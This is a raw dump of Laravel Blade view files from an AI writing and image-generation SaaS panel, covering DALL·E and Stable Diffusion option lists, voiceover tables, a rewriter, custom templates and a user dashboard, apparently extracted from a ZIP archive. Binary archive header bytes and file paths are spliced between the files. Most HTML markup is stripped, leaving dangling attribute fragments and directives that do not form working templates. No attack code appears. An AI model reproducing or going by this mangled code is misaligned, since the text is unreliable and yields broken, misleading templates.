    @push('script') @includeIf('midjourney::midjourney-script') @includeFirst(['flux-pro::flux-pro-script', 'panel.user.openai.includes.flux-pro-script', 'vendor.empty']) @includeFirst(['ideogram::ideogram-script', 'panel.user.openai.includes.ideogram-script', 'vendor.empty']) @includeIf('nano-banana::nano-banana-script') @includeIf('see-dream-v4::see-dream-v4-script') @endpush PK˜W]€‡ë˜™6™6?default/panel/user/openai/components/generator_others.blade.phpnu„[µü¤@php $creativity_levels = [ '0.25' => 'Economic', '0.5' => 'Average', '0.75' => 'Good', '1' => 'Premium', ]; $voice_tones = ['Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive', 'other']; $card_variant = Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.variant', 'solid'); $card_size = Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.size', 'md'); $card_roundness = Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default'); if ($openai->type == 'audio') { if ($card_variant === 'none') { $card_variant = 'outline'; } if ($card_size === 'none') { $card_size = 'md'; } if ($card_roundness === 'none') { $card_roundness = 'lg'; } } @endphp
    {{ __('Remaining Credits') }}
    @if ($openai->type != 'image')
    @if ($openai->type === 'audio')

    @lang('Drag and drop an audio file')

    @lang('or click here to browse your files.')

    @endif @foreach (json_decode($openai->questions) ?? [] as $question) @if ($question?->type == 'text') @elseif($question?->type == 'textarea') @elseif($question?->type == 'select') @foreach ($question?->selectListValues ?? [] as $input) @endforeach @elseif($question?->type == 'file') @endif @endforeach @if ($openai->type == 'text') @if (setting('hide_output_length_option') != 1) @endif @if (setting('hide_creativity_option') != 1) @foreach ($creativity_levels as $creativity => $label) @endforeach @endif @include('panel.user.openai.components.countries') @if (setting('hide_tone_of_voice_option') != 1) @foreach ($voice_tones as $tone) @endforeach @endif @endif {{ __('Generate') }}
    @endif
    @include('panel.user.openai.components.generator_sidebar_table')
    @push('script') @if ($openai->type == 'code') @endif @endpush PK˜W]Á\Ô<<Gdefault/panel/user/openai/components/modals/create-new-folder.blade.phpnu„[µü¤
    @csrf
    {{ __('Cancel') }} {{ __('Add') }}
    PK˜W],lɤ°°Cdefault/panel/user/openai/components/modals/rename-folder.blade.phpnu„[µü¤
    @csrf
    {{ __('Cancel') }} {{ __('Save changes') }}
    PK˜W]”V¤¤Cdefault/panel/user/openai/components/modals/delete-folder.blade.phpnu„[µü¤
    @csrf {{--

    {{ __('Delete all files inside the folder') }}

    --}}
    {{ __('Cancel') }} {{ __('Delete') }}
    PK˜W]êR¼;;Ddefault/panel/user/openai/components/modals/move-to-folder.blade.phpnu„[µü¤
    @csrf @foreach ($folders as $folder) @endforeach
    {{ __('Cancel') }} {{ __('Move') }}
    PK˜W]pþ•š³³Ldefault/panel/user/openai/components/generator_image_dalle_options.blade.phpnu„[µü¤@php use App\Domains\Entity\Enums\EntityEnum; $dalle_select_options = [ 'size' => [ '256x256' => '256 x 256', '512x512' => '512 x 512', '1024x1024' => '1024 x 1024', ], 'image_style' => [ '' => 'None', '3d_render' => '3D Render', 'anime' => 'Anime', 'ballpoint_pen' => 'Ballpoint Pen Drawing', 'bauhaus' => 'Bauhaus', 'cartoon' => 'Cartoon', 'clay' => 'Clay', 'contemporary' => 'Contemporary', 'cubism' => 'Cubism', 'cyberpunk' => 'Cyberpunk', 'glitchcore' => 'Glitchcore', 'impressionism' => 'Impressionism', 'isometric' => 'Isometric', 'line' => 'Line Art', 'low_poly' => 'Low Poly', 'minimalism' => 'Minimalism', 'modern' => 'Modern', 'origami' => 'Origami', 'pencil' => 'Pencil Drawing', 'pixel' => 'Pixel', 'pointillism' => 'Pointillism', 'pop' => 'Pop', 'realistic' => 'Realistic', 'renaissance' => 'Renaissance', 'retro' => 'Retro', 'steampunk' => 'Steampunk', 'sticker' => 'Sticker', 'ukiyo' => 'Ukiyo', 'vaporwave' => 'Vaporwave', 'vector' => 'Vector', 'watercolor' => 'Watercolor', ], 'image_lighting' => [ '' => 'None', 'ambient' => 'Ambient', 'backlight' => 'Backlight', 'blue_hour' => 'Blue Hour', 'cinematic' => 'Cinematic', 'cold' => 'Cold', 'dramatic' => 'Dramatic', 'foggy' => 'Foggy', 'golden_hour' => 'Golden Hour', 'hard' => 'Hard', 'natural' => 'Natural', 'neon' => 'Neon', 'studio' => 'Studio', 'warm' => 'Warm', ], 'image_mood' => [ '' => 'None', 'aggressive' => 'Aggressive', 'angry' => 'Angry', 'boring' => 'Boring', 'bright' => 'Bright', 'calm' => 'Calm', 'cheerful' => 'Cheerful', 'chilling' => 'Chilling', 'colorful' => 'Colorful', 'dark' => 'Dark', 'neutral' => 'Neutral', ], 'image_number_of_images' => [ '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', ], 'image_quality' => [ 'standard' => 'Standard', 'hd' => 'HD', ], ]; if ($settings_two->dalle === EntityEnum::DALL_E_3->value) { $dalle_select_options['size'] = [ '1024x1024' => '1024 x 1024', '1024x1792' => '1024 x 1792', '1792x1024' => '1792 x 1024', ]; $dalle_select_options['image_number_of_images'] = [ '1' => '1', ]; } @endphp value => $settings_two->dalle === EntityEnum::DALL_E_2->value, EntityEnum::DALL_E_3->value => $settings_two->dalle === EntityEnum::DALL_E_3->value, ]) type="select" name="size" size="lg" @change="if ( $app_is_demo && {{ $settings_two->dalle === EntityEnum::DALL_E_3 ? 1 : 0 }} && $event.target.value !== '1024x1024' ) { toastr.info('{{ __('This feature is disabled in Demo version.') }}') return $event.target.value = '1024x1024'; }" > @foreach ($dalle_select_options['size'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_style'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_lighting'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_mood'] as $value => $label) @endforeach value => $settings_two->dalle === EntityEnum::DALL_E_2->value, EntityEnum::DALL_E_3->value => $settings_two->dalle === EntityEnum::DALL_E_3->value, ]) label="{{ __('Number of Images') }}" name="image_number_of_images" container-class="grow" size="lg" type="select" > @foreach ($dalle_select_options['image_number_of_images'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_quality'] as $value => $label) @endforeach PK˜W]K-_ɳ³Vdefault/panel/user/openai/components/generator_image_stablediffusion_options.blade.phpnu„[µü¤@php use App\Domains\Entity\Enums\EntityEnum; $stablediffusion_select_options = [ 'style_preset' => [ '' => 'None', '3d-model' => '3D Model', 'analog-film' => 'Analog Film', 'anime' => 'Anime', 'cinematic' => 'Cinematic', 'comic-book' => 'Comic Book', 'digital-art' => 'Digital Art', 'enhance' => 'Enhance', 'fantasy-art' => 'Fantasy Art', 'isometric' => 'Isometric', 'line-art' => 'Line Art', 'low-poly' => 'Low Poly', 'modeling-compound' => 'Modeling Compound', 'neon-punk' => 'Neon Punk', 'origami' => 'Origami', 'photographic' => 'Photographic', 'pixel-art' => 'Pixel Art', 'tile-texture' => 'Tile Texture', ], 'image_mood_stable' => [ '' => 'None', 'aggressive' => 'Aggressive', 'angry' => 'Angry', 'boring' => 'Boring', 'bright' => 'Bright', 'calm' => 'Calm', 'cheerful' => 'Cheerful', 'chilling' => 'Chilling', 'colorful' => 'Colorful', 'dark' => 'Dark', 'neutral' => 'Neutral', ], 'sampler' => [ '' => 'None', 'DDIM' => 'DDIM', 'DDPM' => 'DDPM', 'K_DPMPP_2M' => 'K_DPMPP_2M', 'K_DPM_2' => 'K_DPM_2', 'K_DPM_2_ANCESTRAL' => 'K_DPM_2_ANCESTRAL', 'K_EULER' => 'K_EULER', 'K_EULER_ANCESTRAL' => 'K_EULER_ANCESTRAL', 'K_HEUN' => 'K_HEUN', 'K_LMS' => 'K_LMS', ], 'clip_guidance_preset' => [ '' => 'None', 'FAST_BLUE' => 'FAST BLUE', 'FAST_GREEN' => 'FAST GREEN', 'SIMPLE' => 'SIMPLE', 'SLOW' => 'SLOW', 'SLOWER' => 'SLOWER', 'SLOWEST' => 'SLOWEST', ], 'image_resolution' => [ '1x1' => '1:1', '16x9' => '16:9', '21x9' => '21:9', '2x3' => '2:3', '3x2' => '3:2', '4x5' => '4:5', '5x4' => '5:4', '9x16' => '9:16', '9x21' => '9:21', ], 'image_number_of_images_stable' => [ '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', ], ]; $engine = $settings_two->stablediffusion_default_model; $isV2BetaModels = EntityEnum::fromSlug($engine)->isV2BetaSdEntity(); if ($engine == EntityEnum::STABLE_DIFFUSION_XL_1024_V_1_0->value) { $stablediffusion_select_options['image_resolution'] = [ '640x1536' => '640 x 1536', '768x1344' => '768 x 1344', '832x1216' => '832 x 1216', '896x1152' => '896 x 1152', '1024x1024' => '1024 x 1024', '1152x896' => '1152 x 896', '1216x832' => '1216 x 832', '1344x768' => '1344 x 768', '1536x640' => '1536 x 640', ]; } elseif (!$isV2BetaModels) { $stablediffusion_select_options['image_resolution'] = [ '896x512' => '896 x 512', '768x512' => '768 x 512', '512x512' => '512 x 512', '512x768' => '512 x 768', '512x896' => '512 x 896', ]; } @endphp
    @foreach ($stablediffusion_select_options['style_preset'] as $value => $label) @endforeach @foreach ($stablediffusion_select_options['image_mood_stable'] as $value => $label) @endforeach @foreach ($stablediffusion_select_options['sampler'] as $value => $label) @endforeach @foreach ($stablediffusion_select_options['clip_guidance_preset'] as $value => $label) @endforeach
    @foreach ($stablediffusion_select_options['image_resolution'] as $value => $label) @endforeach @foreach ($stablediffusion_select_options['image_number_of_images_stable'] as $value => $label) @endforeach
    PK˜W] Þ÷AŸŸBdefault/panel/user/openai/components/generator_voiceover.blade.phpnu„[µü¤
    @if ($settings_two->tts == 'openai') @else @endif @if ($settings_two->tts == 'openai') @else @endif

    {{ __('Speeches') }}

    {{ __('Add New') }}
    {{ __('Generate') }}
    @include('panel.user.openai.components.generator_sidebar_table')
    PK˜W]ê„î||?default/panel/user/openai/components/workbook-actions.blade.phpnu„[µü¤
    @if ($type !== 'code' && $type !== 'image') @endif @if ($type !== 'image') @endif @if ($type !== 'code') @if ($type === 'image' || $type === 'video') @elseif ($type === 'voiceover' || $type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value) @else @endif @endif @if (isset($is_generated_doc)) @endif @if (isset($workbook))
    @if (!empty($integrations) && $checkIntegration) {{ __('Publish') }}

    @lang('Integrations')

    @foreach ($integrations as $integration) {{ $integration?->integration?->app }} @endforeach
    @endif
    @endif
    PK˜W]¿N.!^k^k>default/panel/user/openai/components/generator_video.blade.phpnu„[µü¤@php $items_per_page = 5; $total_items = $userOpenai->total(); @endphp

    {{ __('Source Image') }}

    {{ __('Generate') }}

    {{ __('Result') }}

    @foreach ($userOpenai->take($items_per_page) as $item)
    @endforeach
    @if ($userOpenai->count() > 0)
    {{ __('Loading more') }} @foreach ([0, 1, 2] as $item) @endforeach
    @endif
    @push('script') @endpush PK˜W]~š·®³³Rdefault/panel/user/openai/components/generator_image_gpt_image_1_options.blade.phpnu„[µü¤@php use App\Domains\Entity\Enums\EntityEnum; $dalle_select_options = [ 'image_style' => [ '' => 'None', '3d_render' => '3D Render', 'anime' => 'Anime', 'ballpoint_pen' => 'Ballpoint Pen Drawing', 'bauhaus' => 'Bauhaus', 'cartoon' => 'Cartoon', 'clay' => 'Clay', 'contemporary' => 'Contemporary', 'cubism' => 'Cubism', 'cyberpunk' => 'Cyberpunk', 'glitchcore' => 'Glitchcore', 'impressionism' => 'Impressionism', 'isometric' => 'Isometric', 'line' => 'Line Art', 'low_poly' => 'Low Poly', 'minimalism' => 'Minimalism', 'modern' => 'Modern', 'origami' => 'Origami', 'pencil' => 'Pencil Drawing', 'pixel' => 'Pixel', 'pointillism' => 'Pointillism', 'pop' => 'Pop', 'realistic' => 'Realistic', 'renaissance' => 'Renaissance', 'retro' => 'Retro', 'steampunk' => 'Steampunk', 'sticker' => 'Sticker', 'ukiyo' => 'Ukiyo', 'vaporwave' => 'Vaporwave', 'vector' => 'Vector', 'watercolor' => 'Watercolor', ], 'image_lighting' => [ '' => 'None', 'ambient' => 'Ambient', 'backlight' => 'Backlight', 'blue_hour' => 'Blue Hour', 'cinematic' => 'Cinematic', 'cold' => 'Cold', 'dramatic' => 'Dramatic', 'foggy' => 'Foggy', 'golden_hour' => 'Golden Hour', 'hard' => 'Hard', 'natural' => 'Natural', 'neon' => 'Neon', 'studio' => 'Studio', 'warm' => 'Warm', ], 'image_mood' => [ '' => 'None', 'aggressive' => 'Aggressive', 'angry' => 'Angry', 'boring' => 'Boring', 'bright' => 'Bright', 'calm' => 'Calm', 'cheerful' => 'Cheerful', 'chilling' => 'Chilling', 'colorful' => 'Colorful', 'dark' => 'Dark', 'neutral' => 'Neutral', ], 'image_number_of_images' => [ '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', ], 'image_quality' => [ 'auto' => 'AUTO', ], ]; $dalle_select_options['size'] = [ '1024x1024' => '1024 x 1024', '1024x1792' => '1024 x 1792', '1792x1024' => '1792 x 1024', ]; $dalle_select_options['image_number_of_images'] = [ '1' => '1', ]; @endphp value => $settings_two->dalle === EntityEnum::DALL_E_2->value, EntityEnum::DALL_E_3->value => $settings_two->dalle === EntityEnum::DALL_E_3->value, ]) type="select" name="size" size="lg" @change="if ( $app_is_demo && {{ $settings_two->dalle === EntityEnum::DALL_E_3 ? 1 : 0 }} && $event.target.value !== '1024x1024' ) { toastr.info('{{ __('This feature is disabled in Demo version.') }}') return $event.target.value = '1024x1024'; }" > @foreach ($dalle_select_options['size'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_style'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_lighting'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_mood'] as $value => $label) @endforeach value => $settings_two->dalle === EntityEnum::DALL_E_2->value, EntityEnum::DALL_E_3->value => $settings_two->dalle === EntityEnum::DALL_E_3->value, ]) label="{{ __('Number of Images') }}" name="image_number_of_images" container-class="grow" size="lg" type="select" > @foreach ($dalle_select_options['image_number_of_images'] as $value => $label) @endforeach @foreach ($dalle_select_options['image_quality'] as $value => $label) @endforeach PK˜W]'6�£T£TFdefault/panel/user/openai/components/generator_sidebar_table.blade.phpnu„[µü¤@if ($openai->type == 'audio')
    @forelse ($userOpenai as $entry)
    0:00

    {!! $entry->output !!}

    @if ((int) $setting->feature_ai_advanced_editor === 1) @lang('Open in AI Editor') @endif
    @empty

    {{ __('No entries created yet.') }}

    @endforelse
    @elseif ($openai->type == 'voiceover') {{ __('File') }} {{ __('Language') }} {{ __('Voice') }} {{ __('Date') }} {{ __('Play') }} {{ __('Action') }} @forelse ($userOpenai as $entry) @if (empty(json_decode($entry->response))) @continue @endif {{ $entry->title }} @foreach (array_unique(json_decode($entry->response)?->language ?? []) as $lang) @php $parts = explode('-', $lang); $countryCode = $parts[1] ?? null; @endphp @if ($countryCode) {{ country2flag($countryCode) }} @endif @endforeach {{ $lang }} @foreach (array_unique(json_decode($entry->response)?->voices) ?? [] as $voice) {{ getVoiceNames($voice) }} @endforeach {{ $entry->created_at->format('M d, Y') }}, {{ $entry->created_at->format('H:m') }}
    0:00 @empty {{ __('No entries created yet.') }} @endforelse
    {{ $userOpenai->withPath(route('dashboard.user.openai.generator', 'ai_voiceover'))->links('pagination::bootstrap-5-alt') }}
    @elseif ($openai->type == \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value) {{ __('File') }} {{ __('Info') }} {{ __('Play') }} {{ __('Action') }} @forelse ($userOpenai as $entry) @if (empty(json_decode($entry->response))) @continue @endif {{ $entry->title }} {{ $entry->created_at->format('M d, Y') }}, @php $size = filesize(public_path('uploads/' . $entry->output)); $size = $size / 1024; if ($size < 1024) { echo round($size, 2) . ' KB'; } else { echo round($size / 1024, 2) . ' MB'; } @endphp
    0:00 @empty {{ __('No entries created yet.') }} @endforelse
    {{ $userOpenai->withPath(route('dashboard.user.openai.generator', 'ai_voiceover'))->links('pagination::bootstrap-5-alt') }}
    @else {{ __('Type') }} {{ __('Result') }} @forelse ($userOpenai as $entry) @if ($entry->generator->image !== 'none') {!! html_entity_decode($entry->generator->image) !!} @endif @if ($openai->type == 'text') {!! $entry->output !!} @elseif($openai->type == 'code')
    {{ $entry->output }}
    @else {{ $entry->output }} @endif @empty {{ __('No entries created yet.') }} @endforelse
    @endif PK˜W]Sx�553default/panel/user/openai/documents_empty.blade.phpnu„[µü¤

    {{ __("You don't have any documents.") }}

    {{ __('Start generating texts by adding a document.') }}

    {{ __('Add New') }}
    PK˜W]Ê¢k‰F7F72default/panel/user/openai/rewriter/index.blade.phpnu„[µü¤@php $voice_tones = ['Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive', 'other']; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('AI ReWriter')) @section('titlebar_subtitle', __('Effortlessly reshape and elevate your pre-existing content with a single click.')) @section('content')
    {{ __('Remaining Credits') }}
    @if (setting('hide_tone_of_voice_option') != 1) @foreach ($voice_tones as $tone) @endforeach @endif @include('panel.user.openai.components.countries') {{ __('Generate') }}
    Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline', ]) variant="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.variant', 'solid') }}" size="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.size', 'md') }}" roundness="{{ Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default') }}" >
    @include('panel.user.openai.components.workbook-actions', [ 'type' => 'text', 'title' => __('AI ReWriter'), 'is_generated_doc' => true, ]) {{-- --}}
    @endsection @php $lang_with_flags = []; foreach (LaravelLocalization::getSupportedLocales() as $lang => $properties) { $lang_with_flags[] = [ 'lang' => $lang, 'name' => $properties['native'], 'flag' => country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)), ]; } @endphp @push('script') @endpush PK˜W]àCe——/default/panel/user/openai/custom/list.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('My Templates')) @section('titlebar_subtitle', __('Manage Your Templates')) @section('titlebar_actions') @if (setting('user_ai_writer_custom_templates', 0)) {{ __('Create Template') }} @endif @endsection @section('content')
    {{ __('Status') }} {{ __('Template Name') }} {{ __('User') }} {{ __('Template Description') }} {{ __('Package') }} {{ __('Updated At') }} {{ __('Actions') }} @foreach ($list as $entry) $entry->active == 1, 'passive' => $entry->active == 0, ]) > {{ __($entry->title) }} {{ $entry?->user?->name ?: __('System') }} {{ __($entry->description) }}

    {{ date('j.n.Y', strtotime($entry->updated_at)) }} {{ date('H:i:s', strtotime($entry->updated_at)) }}

    @endforeach
    @endsection @push('script') @endpush PK˜W]ÌŽkôBDBD/default/panel/user/openai/custom/form.blade.phpnu„[µü¤@extends('panel.layout.settings', ['disable_tblr' => true]) @section('title', $template != null ? __('Edit Custom Template') : __('Add Template')) @section('titlebar_actions') @if (setting('user_ai_writer_custom_templates', 0)) {{ __('My Template') }} @endif @endsection @section('settings')
    {{ $template != null ? $template->description : null }}
    @if ($template != null) @foreach (json_decode($template->questions) ?? [] as $question) @endforeach
    @else
    @endif
    @if ($template != null) @foreach (json_decode($template->questions) ?? [] as $question) @endforeach @endif
    {{ $template != null ? $template->prompt : null }}
    @if ($app_is_demo) {{ __('Save') }} @else {{ __('Save') }} @endif
    @endsection @push('script') @endpush PK˜W]Ûj([[,default/panel/user/generator/index.blade.phpnu„[µü¤@extends('panel.layout.app', [ 'disable_header' => true, 'disable_titlebar' => true, 'disable_navbar' => true, 'disable_footer' => true, 'disable_floating_menu' => true, 'disable_mobile_bottom_menu' => true, 'disable_tblr' => true, 'layout_wide' => true, ]) @push('css') @endpush @section('content')
    @include('panel.user.generator.components.sidebar') @include('panel.user.generator.components.editor')
    @endsection @push('script') @endpush PK˜W]–�óôÔ<Ô<Cdefault/panel/user/generator/components/generator-options.blade.phpnu„[µü¤@php $creativity_levels = [ '0.25' => 'Economic', '0.5' => 'Average', '0.75' => 'Good', '1' => 'Premium', ]; $voice_tones = [ 'Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive', 'other', ]; $youtube_actions = [ 'blog' => __('Prepare a Blog Post'), 'short' => __('Explain the Main Idea'), 'list' => __('Create a List'), 'tldr' => __('Create TLDR'), 'prons_cons' => __('Prepare Pros and Cons'), ]; @endphp
    @foreach (json_decode($openai->questions, false, 512, JSON_THROW_ON_ERROR) ?? [] as $question)
    @php $placeholder = !empty($question?->description) ? __($question?->description) : __($question?->question); @endphp @if ($question?->type == 'text') @elseif($question?->type == 'textarea') @elseif($question?->type == 'select') @foreach ($question?->selectListValues ?? [] as $input) @endforeach @elseif($question?->type == 'rss_feed') @elseif($question?->type == 'url') @endif
    @endforeach @if ($openai->type == 'youtube') @foreach ($youtube_actions as $value => $label) @endforeach @include('panel.user.openai.components.countries') @endif @if ($openai->type == 'text' || $openai->type == 'rss') @include('panel.user.openai.components.countries') @if (setting('hide_output_length_option') != 1) @endif @if (setting('hide_creativity_option') != 1) @foreach ($creativity_levels as $creativity => $label) @endforeach @endif @if (setting('hide_tone_of_voice_option') != 1) @foreach ($voice_tones as $tone) @endforeach @endif @endif @if ($models->count() && setting('select_model_option', '0') == '1') @foreach ($models as $model) @endforeach @endif @if (setting('open_router_status') == 1) @includeFirst(['open-router::open-router-select', 'vendor.empty']) @endif {{ __('Generate') }}
    PK˜W]㛤2¤2Hdefault/panel/user/generator/components/editor-actions-top-bar.blade.phpnu„[µü¤
    PK˜W]©d¾ËTWTW9default/panel/user/generator/components/sidebar.blade.phpnu„[µü¤@php $plan = Auth::user()->activePlan(); $plan_type = 'regular'; if ($plan != null) { $plan_type = strtolower($plan->plan_type); } $auth = Auth::user(); @endphp @push('style') @endpush
    logo_collapsed_2x_path)) srcset="/{{ $setting->logo_collapsed_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" >

    @lang('Your content will appear here.')

    @lang('Simply select a pre-built template or create your own') @lang('custom content here.')

    1

    /
    @foreach ($filters as $filter) @php $cat_items = $list->filter(function ($list_item) use ($filter) { return str()->contains($list_item->filters, $filter->name) && $list_item->active == 1 && !Str::startsWith($list_item->slug, 'ai_'); }); @endphp @if (!$cat_items->isEmpty())
    !$loop->first, ]) :class="{ 'hidden': activeFilter !== '{{ $filter->name }}' }" > @foreach ($cat_items as $item) @if ($item->active != 1 || Str::startsWith($item->slug, 'ai_')) @continue @endif @php $upgrade = false; if ($app_is_demo) { if ($item->premium == 1 && $plan_type === 'regular') { $upgrade = true; } } else { if (!$auth->isAdmin() && $item->premium == 1 && $plan_type === 'regular') { $upgrade = true; } } @endphp
    @if ($item->image !== 'none') {!! html_entity_decode($item->image) !!} @endif $item->active == 1, 'bg-red-500' => $item->active != 1, ])>

    {{ __($item->title) }}

    @if ($item->active == 1)
    @if ($upgrade)
    {{ __('Upgrade') }}
    {{ __('Upgrade') }} @elseif($item->type == 'text' or $item->type == 'code') @if ($item->slug == 'ai_article_wizard_generator') {{ __('Create Workbook') }} @else {{ __('Create Workbook') }} @endif @elseif($item->type == 'voiceover' || $item->type == 'isolator') {{ __('Create Workbook') }} @elseif($item->type == 'image') {{ __('Create') }} @elseif($item->type == 'audio') {{ __('Create') }} @else @endif
    {{-- Getting generator options via ajax call --}} @endif
    @endforeach
    @endif @endforeach
    PK˜W]ÅÔÅõtt8default/panel/user/generator/components/editor.blade.phpnu„[µü¤
    @include('panel.user.generator.components.editor-actions-top-bar')
    @php $lang_with_flags = []; foreach (LaravelLocalization::getSupportedLocales() as $lang => $properties) { $lang_with_flags[] = [ 'lang' => $lang, 'name' => $properties['native'], 'flag' => country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)), ]; } @endphp @push('script') @endpush PK˜W]feŒ¿Œ¿&default/panel/user/dashboard.blade.phpnu„[µü¤@php $userId = auth()->id(); $plan = Auth::user()->activePlan(); $plan_type = 'regular'; // $team = Auth::user()->getAttribute('team'); $teamManager = Auth::user()->getAttribute('teamManager'); if ($plan != null) { $plan_type = strtolower($plan->plan_type); } $titlebar_links = [ [ 'label' => 'All', 'link' => '#all', ], [ 'label' => 'AI Assistant', 'link' => '#all', ], [ 'label' => 'Your Plan', 'link' => '#plan', ], [ 'label' => 'Team Members', 'link' => '#team', ], [ 'label' => 'Recent', 'link' => '#recent', ], [ 'label' => 'Documents', 'link' => '#documents', ], [ 'label' => 'Templates', 'link' => '#templates', ], [ 'label' => 'Overview', 'link' => '#all', ], ]; $premium_features = \App\Models\OpenAIGenerator::query()->where('active', 1)->where('premium', 1)->limit(5)->get()->pluck('title')->toArray(); $user_is_premium = false; $plan = auth()->user()?->relationPlan; if ($plan) { $planType = strtolower($plan->plan_type ?? 'all'); if ($plan->plan_type === 'all' || $plan->plan_type === 'premium') { $user_is_premium = true; } } $style_string = ''; if (setting('announcement_background_color')) { $style_string .= '.lqd-card.lqd-announcement-card { background-color: ' . setting('announcement_background_color') . ';}'; } if (setting('announcement_background_image')) { $style_string .= '.lqd-card.lqd-announcement-card { background-image: url(' . setting('announcement_background_image') . '); }'; } if (setting('announcement_background_color_dark')) { $style_string .= '.theme-dark .lqd-card.lqd-announcement-card { background-color: ' . setting('announcement_background_color_dark') . ';}'; } if (setting('announcement_background_image_dark')) { $style_string .= '.theme-dark .lqd-card.lqd-announcement-card { background-image: url(' . setting('announcement_background_image_dark') . '); }'; } $favoriteOpenAis = cache("user:{$userId}:favorite_openai"); @endphp @if (filled($style_string)) @push('css') @endpush @endif @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Dashboard')) @section('titlebar_title') {{ __('Welcome') }}, {{ auth()->user()?->name }}. @endsection @section('titlebar_after')
      @foreach ($titlebar_links as $link)
    • $loop->first, ]) variant="ghost" href="{{ $link['link'] }}" > @lang($link['label'])
    • @endforeach
    @endsection @section('content')
    @if (setting('announcement_active', 0) && !auth()->user()?->dash_notify_seen)

    @lang(setting('announcement_title', 'Welcome'))

    @lang(setting('announcement_description', 'We are excited to have you here. Explore the marketplace to find the best AI models for your needs.'))

    {{ setting('announcement_button_text', 'Try it Now') }} @lang('Dismiss')
    @if (setting('announcement_image_dark')) @endif @lang(setting('announcement_title', 'Welcome to MagicAI!'))
    @endif

    {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}} @lang('Hey, How can I help you?')

    @lang('Create a Blank Document')
    @if ($ongoingPayments != null)
    @includeIf('panel.user.finance.ongoingPayments')
    @endif @includeIf('panel.user.finance.subscriptionStatus') @if (!$user_is_premium || $app_is_demo)

    @lang('Premium Advantages')

    @lang('Upgrade your plan to unlock new AI capabilities.')

      @foreach ([setting('premium_advantages_1_label', 'Unlimited Credits'), setting('premium_advantages_2_label', 'Access to All Templates'), setting('premium_advantages_3_label', 'External Chatbots'), setting('premium_advantages_4_label', 'o1-mini and DeepSeek R1'), setting('premium_advantages_5_label', 'Premium Support')] as $feature)
    • {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}} {{ __($feature) }}
    • @endforeach
    @lang('Upgrade Your Plan')
    @endif {{-- begin: account summary --}} @includeIf('panel.user.dashboard.account-summary') {{-- end: account summary --}} {{-- begin: invite team --}} @if (showTeamFunctionality()) @if ($app_is_demo || ($team && $team?->allow_seats > 0))
    Team

    @lang('Add your team members’ email address
    to start collaborating.') 📧

    @csrf @if ($app_is_demo) @lang('Invite Friends') @else @lang('Invite Friends') @endif
    @else

    {{ __('How it Works') }}

    1. 1 {!! __('You send your invitation link to your friends.') !!}
    2. 2 {!! __('They subscribe to a paid plan by using your refferral link.') !!}
    3. 3 @if ($is_onetime_commission) {!! __('From their first purchase, you will begin earning one-time commissions.') !!} @else {!! __('From their first purchase, you will begin earning recurring commissions.') !!} @endif
    {{ __('Send') }}
    @endif
    @endif {{-- end: invite team --}} {{-- begin: affiliates --}} @includeIf('panel.user.dashboard.affiliates') {{-- end: affiliates --}} {{-- begin: favorite chatbots --}} @includeIf('panel.user.dashboard.favorite-chatbots') {{-- end: favorite chatbots --}} {{-- begin: add new --}} !View::exists('panel.user.dashboard.favorite-chatbots'), ]) size="md" >

    {{ __('Add New') }}

    @if (\App\Helpers\Classes\MarketplaceHelper::isRegistered('chatbot') || $app_is_demo)

    @lang('External Chatbot')

    @endif @if (\App\Helpers\Classes\MarketplaceHelper::isRegistered('social-media') || $app_is_demo)

    @lang('Social Media Post')

    @endif @if (\App\Helpers\Classes\MarketplaceHelper::isRegistered('openai-realtime-chat') || $app_is_demo)

    @lang('Voice Chat')

    @endif

    @lang('Blog Post')

    {{-- end: add new --}} {{-- begin: social media posts --}} @includeIf('social-media::theme.social-media-post-default-theme') {{-- end: social media posts --}} {{-- begin: recently launched --}}

    {{ __('Recently Launched') }}

    {{ __('View All') }}
    @php $folders = auth()->user()->folders()->get(); @endphp @foreach ($recently_launched as $entry) @if ($entry->generator != null) @endif @endforeach
    {{-- end: recently launched --}} {{-- begin: favorite templates --}}

    {{ __('Favorite Templates') }}

    {{ __('View All') }}
